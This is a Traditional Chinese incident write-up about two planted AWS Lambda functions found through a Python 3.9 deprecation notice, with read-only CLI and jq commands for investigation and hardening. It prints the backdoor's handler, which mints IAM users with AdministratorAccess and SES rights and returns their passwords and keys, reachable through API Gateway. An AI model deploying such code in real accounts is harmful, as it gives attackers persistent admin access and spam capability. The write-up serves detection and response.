一封「Python 3.9 停止支援」的例行通知, 揭露了帳號裡不該存在的兩支 Lambda
從沒用過的區域裡多了兩支函式,程式碼只做一件事:隨機建一個 IAM 使用者,掛上 AdministratorAccess 與 SES 全權限,把密碼與金鑰回傳。這是一個能隨時自我補貨的後門。
- AWS Health 通知帳號內有 Lambda 使用即將停止支援的 Python 3.9。逐區列出後,只有 us-east-1 有兩支函式,而團隊從未在該區域部署過任何東西。
- 兩支函式的程式碼一模一樣:create_user → create_login_profile → create_access_key → attach AdministratorAccess / IAMFullAccess / AmazonSESFullAccess,回傳主控台登入 URL、密碼與金鑰。其中一支掛了 API Gateway 觸發。
- 用 CloudShell 把 CloudTrail 事件全量撈下來,依來源 IP 與事件名稱統計,把調查者自己的活動與異常來源分開。
本篇目錄
一封例行通知
2025 年 7 月,AWS 寄來一封標題為「Lambda end of support for Python 3.9」的通知,說帳號內有函式使用即將停止支援的執行環境。信裡附了一條指令,教你逐區列出這些函式:
$ for region in $(aws ec2 describe-regions --query "Regions[].RegionName" --output text); do
echo "Region: $region"
aws lambda list-functions --region $region \
--query "Functions[?Runtime=='python3.9'].FunctionName" --output text
done
Region: ap-south-1
Region: eu-north-1
...
Region: ap-northeast-1 # ← 我們唯一使用的區域:空
...
Region: us-east-1
sesyu787 # ← 從沒在這個區域部署過任何東西它做什麼
兩支函式的程式碼幾乎一模一樣,去掉註解後只做一件事:
def lambda_handler(event, context):
iam = boto3.client("iam")
user_name = f"user-{uuid.uuid4().hex[:8]}" # 隨機使用者名稱
password = "".join(random.choices(chars, k=20)) # 隨機密碼
iam.create_user(UserName=user_name)
iam.create_login_profile(UserName=user_name, Password=password, PasswordResetRequired=False)
access_key = iam.create_access_key(UserName=user_name)
iam.attach_user_policy(UserName=user_name, PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess")
iam.attach_user_policy(UserName=user_name, PolicyArn="arn:aws:iam::aws:policy/IAMFullAccess")
iam.attach_user_policy(UserName=user_name, PolicyArn="arn:aws:iam::aws:policy/AmazonSESFullAccess")
return {"IAMLoginURL": f"https://{account_id}.signin.aws.amazon.com/console",
"Username": user_name, "Password": password,
"AccessKeyId": ..., "SecretAccessKey": ...}
三個重點:
- 這是一台自動販賣機。 每執行一次,就多一個具備 AdministratorAccess 的使用者,主控台登入 URL、密碼、金鑰全部打包回傳。
sesyu787掛了 API Gateway 觸發。 攻擊者不需要再拿到任何憑證,只要對一個 URL 發請求,就能領一個新的管理員。就算你把他建的使用者全刪了,他打一次就補回來。- AmazonSESFullAccess 說明了目的。 函式名稱裡的 ses 不是巧合。有 SES 全權限就能用你的網域信譽大量寄信,這是被盜 AWS 帳號最常見的變現方式之一。
這次外洩了什麼
這個案子的特別之處在於:外洩的憑證不是被撿走的,是被「生出來」的。每執行一次函式,就多一組全新的管理員憑證,而且是以 API 回應的 JSON 直接送到呼叫者手上。
| 服務 | 憑證類型 | 用途 | 存在形式 | 放在哪 | 權限範圍 | 狀態 |
|---|---|---|---|---|---|---|
| AWS IAM 使用者(函式自動建立) | 存取金鑰(access key ID + secret access key) | 攻擊者用來以程式方式操作整個帳號 | 函式回傳的 JSON 欄位,明文 | API Gateway 端點的 HTTP 回應,不落地在任何檔案 | AdministratorAccess + IAMFullAccess + AmazonSESFullAccess | 2025-07 處置時一併停用並刪除;但無法確認總共生出過幾組 |
| AWS 主控台登入(同一個使用者) | login profile 密碼(20 碼隨機、不要求變更) | 讓攻擊者能直接登入主控台操作 | 函式回傳的 JSON 欄位,明文,附帶登入 URL | 同上,隨 HTTP 回應送出 | 與存取金鑰相同的管理員權限 | 隨使用者刪除而失效 |
| Amazon SES(寄信權限) | 不是獨立憑證:靠上面那組 IAM 身分取得寄信能力 | 用受害帳號已驗證的網域大量寄信,是這次最直接的變現路徑 | IAM 政策授權(AmazonSESFullAccess),必要時可再自行建立 SMTP 憑證 | 掛在函式產出的使用者身上 | 所有區域的 SES 寄信與身分管理 | 已隨使用者刪除;是否真的寄出過信屬缺口 |
| Lambda 執行角色 | AWS 角色(短期憑證,非長期金鑰) | 讓函式本身有權呼叫 IAM 建立使用者 | 執行環境自動注入的暫時憑證,不以檔案存在 | 函式的執行角色設定 | IAM 寫入權限,足以建立使用者與掛政策 | 刪除函式時一併刪除角色 |
| 最初被用來建立這兩支函式的憑證 | 長期存取金鑰或不經 MFA 換到的暫時憑證 | 攻擊者的初始存取;也是整案最該找出來的那一把 | 格式無法確認:留存的事件摘要缺少完整的 userIdentity 與驗證上下文 | 未知 | 足以建立 Lambda、角色與 API Gateway | gap:處置時已輪替所有長期金鑰並撤銷進行中的工作階段,但無法指認是哪一把 |
使用者完成一次驗證後,系統可能核發暫時憑證;後續 API 請求依憑證與授權政策判定,不會每個操作都再要求驗證碼。長期存取金鑰更是完全不經 MFA。「有開 MFA」保護的是互動登入,不是每一條 API 存取路徑。
用 CloudShell 把 CloudTrail 全部撈下來
主控台的事件歷史一次只給 50 筆,要看全貌得自己翻頁。這段迴圈把三天內的事件全量抓下來:
start_time=$(date -u -d '3 days ago' +%Y-%m-%dT%H:%M:%SZ)
end_time=$(date -u +%Y-%m-%dT%H:%M:%SZ)
next_token=""
while true; do
if [ -z "$next_token" ]; then
result=$(aws cloudtrail lookup-events --start-time "$start_time" --end-time "$end_time" --max-results 50 --output json)
else
result=$(aws cloudtrail lookup-events --start-time "$start_time" --end-time "$end_time" --max-results 50 --next-token "$next_token" --output json)
fi
echo "$result" | jq -c '.Events[]' >> tmp_events.json
next_token=$(echo "$result" | jq -r '.NextToken // empty')
[ -z "$next_token" ] && break
done
jq -s '{Events: .}' tmp_events.json > all_events_full.json接著三個問題,三段 jq:
# 每天筆數:看有沒有異常暴增的日子
jq -r '.Events[] | .CloudTrailEvent | fromjson | .eventTime | split("T")[0]' all_events_full.json | sort | uniq -c
2771 2025-07-14
6304 2025-07-15
6332 2025-07-16
4384 2025-07-17
# 來源 IP 分布:先把自己的 IP 認出來,剩下的就是要追的
jq -r '.Events[] | .CloudTrailEvent | fromjson | .sourceIPAddress' all_events_full.json | sort | uniq -c | sort -nr
# 針對某個 IP 展開:時間、身分、事件、資源
jq -r '.Events[] | .CloudTrailEvent | fromjson
| select(.sourceIPAddress == "X.X.X.X")
| {time: .eventTime, user: .userIdentity.arn, event: .eventName, resource: .resources}' all_events_full.json
# 只看 Root 身分做過的事
jq -c '.Events[] | .CloudTrailEvent | fromjson | select(.userIdentity.type == "Root")
| {eventTime, eventName, sourceIPAddress}' all_events_full.json處置順序
改密碼之後,調查還沒結束
已核發的暫時憑證有自己的生命週期。改了主控台密碼、開了 MFA,不會讓已經拿到的存取金鑰或工作階段失效。要依憑證類型採用對應的撤銷方式:長期金鑰直接停用並刪除;角色的工作階段用信任政策或內嵌拒絕政策讓指定時間前核發的 token 全部失效;再重新檢查信任政策、長期金鑰與異常資源,才能知道處置是否涵蓋整條存取路徑。
- Lambda 放在你從不使用的區域,主控台預設只顯示當前區域,你很難注意到。
- API Gateway 觸發讓他不用保存任何憑證。你清掉所有使用者,他打一次 URL 就補回來。
- AdministratorAccess 是保險,AmazonSESFullAccess 才是生意:用你的網域信譽發信,被封的是你。
- Python 3.9 的執行環境是他自己的失誤:AWS 的例行通知讓你看到了。
這個後門花了多少錢
挖礦會出現在帳單上,後門不會。下面這張表最重要的一件事,是「免費」那幾列:一台隨時生管理員的自動販賣機,運轉成本趨近於零,所以帳單永遠不會替你示警。
| 項目 | 用量 | 單價 | 期間 | US$ | NT$ | 舉證 |
|---|---|---|---|---|---|---|
| Lambda 後門函式 × 2 估:函式存在可證明,次數是假設值 | 128 MB × 約 3 秒/次;呼叫次數未知,以 1,000 次估 | US$0.20/百萬次 + US$0.0000166667/GB·秒 | 2025-07-14 → 07-18 | 0.01 | 0 | 函式程式碼與設定已下載存證;呼叫次數缺 CloudTrail 與 Lambda 指標,只能假設 |
| API Gateway REST 端點(觸發器) 估:就算被打滿一百萬次也只要 US$3.50。後門的運轉成本低到不可能引起帳單注意 | 以 1,000 次請求估 | US$3.50/百萬次 | 同上 | 0.00 | 0 | 觸發器設定可證明(Lambda 觸發器清單);請求數無存取日誌,無法得知 |
| IAM 使用者、登入設定、存取金鑰 免費才是重點:這台自動販賣機永遠不會出現在任何一張帳單上 | 每執行一次產生 1 組具 AdministratorAccess 的憑證 | IAM 不計費 | 2025-07 | 0.00 | 0 | AWS 公開牌價:IAM 本身不收費;函式程式碼可證明它建立使用者與金鑰 |
| CloudTrail 管理事件(第一份副本) 免費卻沒設多區域 trail,所以事後只剩摘要 | 帳號預設 90 天事件歷史 | 第一份管理事件副本免費 | 持續 | 0.00 | 0 | AWS 公開牌價:管理事件第一份副本不計費 |
| 多區域 trail 送 S3(當初若有開) 估:這 0.28 美元,就是「誰建的、用哪把憑證」這題答不出來的價格 | 約 1 GB/月的事件檔 | US$0.023/GB·月(S3 Standard) | 一年 | 0.28 | 9 | 以本案 4 天約 19,791 筆事件的量級外推;當時未開啟,因此沒有帳單 |
| SES 濫用的情境估算 估:假設值。寄 100 萬封只要 US$100,被列進黑名單的卻是你的網域 | 以寄出 100 萬封估 | US$0.10/1,000 封 | 假設情境 | 100.00 | 3,200 | AmazonSESFullAccess 確實掛在函式產出的使用者上(程式碼可證明);寄信量為假設 |
| SES 實際寄出量與網域信譽損失 真正可能的大額損失,落在這一列 | — | — | — | — | — | 缺口:留存資料沒有 SES 寄信統計與退信/投訴率,事後無法回答有沒有寄出 |
| API Gateway 被呼叫幾次、生出過幾個管理員 後門的實際使用次數是整案最大的黑洞 | — | — | — | — | — | 缺口:留存事件檔省略 userIdentity 與 userAgent,兩個來源 IP 的事件檔為空 |
| 調查用的查詢 本案唯一有效的偵測手段,成本是零 | 逐區 list-functions、CloudTrail 分頁全量撈取 | CloudShell 免費(含 1 GB 儲存);lookup-events 不計費 | 2025-07-17 | 0.00 | 0 | AWS 公開牌價:CloudShell 與 CloudTrail 事件歷史查詢不計費 |
| 調查與處置人力 估:這件事幾乎全部的成本都在這一列 | 約 2 人日:逐區盤點、全量撈取與比對、刪函式與使用者、輪替金鑰 | 顧問日費 NT$20,000~35,000(估),取中間值 NT$27,500 | 2025-07-15 → 07-18 | 1718.75 | 55,000 | 處置時間軸推估,無正式工時單;日費為假設值 |
| 攻擊者的運轉成本 估:邊際成本是零,所以他不需要挑目標,也不急著用 | 2 支函式+1 個 API 端點,全部跑在你的帳號上 | 由受害者支付 | 長期 | 0.00 | 0 | 函式與觸發器設定可證明資源都在我方帳號;他自身支出無從得知 |
| 攻擊者實際變現了多少 不知道他領走幾組管理員,就不知道他賺了什麼 | — | — | — | — | — | 缺口:沒有 API Gateway 存取日誌、沒有完整 CloudTrail、沒有 SES 統計 |
| 合計(僅可證明列) | 0.00 | 0 | ||||
可證明的金額:US$0.00。 不是因為沒有損失,而是因為這個後門的運轉成本本來就接近零,可能造成的損失全部落在缺口那三列。挖礦劫持會被帳單抓到,後門不會——它只會安靜地待在你不看的區域,等你哪天需要它的時候(他需要,不是你)再吐一個管理員出來。
重點學習
- 01逐區盤點(list-functions across regions)本案唯一有效的偵測,成本是零;你沒用過的區域裡不該有任何東西。
- 02API Gateway 觸發的 Lambda它讓攻擊者不必保存任何憑證:你清光所有使用者,他打一次 URL 就補回來。
- 03AmazonSESFullAccessAdministratorAccess 是保險,SES 才是生意;寄信信譽是最常被忽略、也最難修的資產。
- 04AttachUserPolicy / CreateUser / CreateAccessKey這三個事件是「有人在幫自己開管理員」的直接訊號,也是最該設即時告警的三個。
- 05aws:TokenIssueTime改密碼、開 MFA 都不會讓已核發的工作階段失效;要讓 token 全部作廢,靠的是這個條件。
- 06Lambda 執行角色函式能呼叫 IAM,是因為有人給了它 IAM 寫入權限;函式的權限往往比建立者以為的大。
- 07多區域 CloudTrail trail 與保留期事後答不出「誰建的」,就是因為只有 90 天事件歷史、沒有送 S3;一年不到一美元。
- 08lookup-events 分頁全量撈取主控台一次只給 50 筆,不把全量撈下來就不可能看出來源 IP 分布與異常日。
- 09先排除自己的活動CreateSession、PutCredentials 多半是 CloudShell 自己在跑;不先把自己排掉,你會追一整天的假線索。
- 10SCP 區域限制把沒用到的區域整個關掉,是唯一能讓「你不看的地方」不再存在的控制。
今天就可以來試試
全部唯讀,不改任何設定;做完你會知道自己有沒有同樣的破口。
- 逐區列出所有 Lambda 函式,不只看你常用的那一區。
for r in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do echo "== $r"; aws lambda list-functions --region $r --query 'Functions[].FunctionName' --output text; done看到什麼代表什麼:任何你沒部署過的區域出現函式,先當可疑處理:下載程式碼與設定存證,再看它的執行角色有什麼權限。 - 同樣逐區列 API Gateway,找免憑證的觸發入口。
for r in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do echo "== $r"; aws apigateway get-rest-apis --region $r --query 'items[].name' --output text; done看到什麼代表什麼:你叫不出名字的 REST API,就是攻擊者不必保存憑證也能回來的那扇門。 - 列出 IAM 使用者與建立時間,再看誰掛著最高權限。
aws iam list-users --query 'Users[].[UserName,CreateDate]' --output table aws iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --query 'PolicyUsers[].UserName' --output text看到什麼代表什麼:名稱像隨機字串、或建立時間你完全沒印象的使用者,就是自動販賣機的產物;管理員清單裡出現非人類帳號更要追。 - 檢查 CloudTrail 是不是多區域,而且有送到 S3。
aws cloudtrail describe-trails --query 'trailList[].[Name,IsMultiRegionTrail,S3BucketName,HomeRegion]' --output table看到什麼代表什麼:沒有多區域 trail 或沒有 S3 儲存桶,代表 90 天之後你就答不出「誰建的」——本案的所有缺口都來自這裡。 - 看你不使用的區域裡,SES 是不是還在沙箱。
aws sesv2 get-account --region us-east-1 --query '[ProductionAccessEnabled,SendingEnabled,EnforcementStatus]' --output text看到什麼代表什麼:你根本不用 SES 卻已經是生產存取狀態,就要當成寄信管道被人打開過;再去看寄信統計與投訴率。 - 查最近的高風險 IAM 事件。
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser --max-results 10 --query 'Events[].[EventTime,Username,EventName]' --output table看到什麼代表什麼:出現你不認得的 CreateUser,接著去查同一時間的 AttachUserPolicy 與 CreateAccessKey;三個事件連在一起,就是有人在幫自己開管理員。
每篇新文章一封:三點摘要、攻擊者/防守者視角、今天能做的一件事。或先 加入會員 記錄你完成的任務。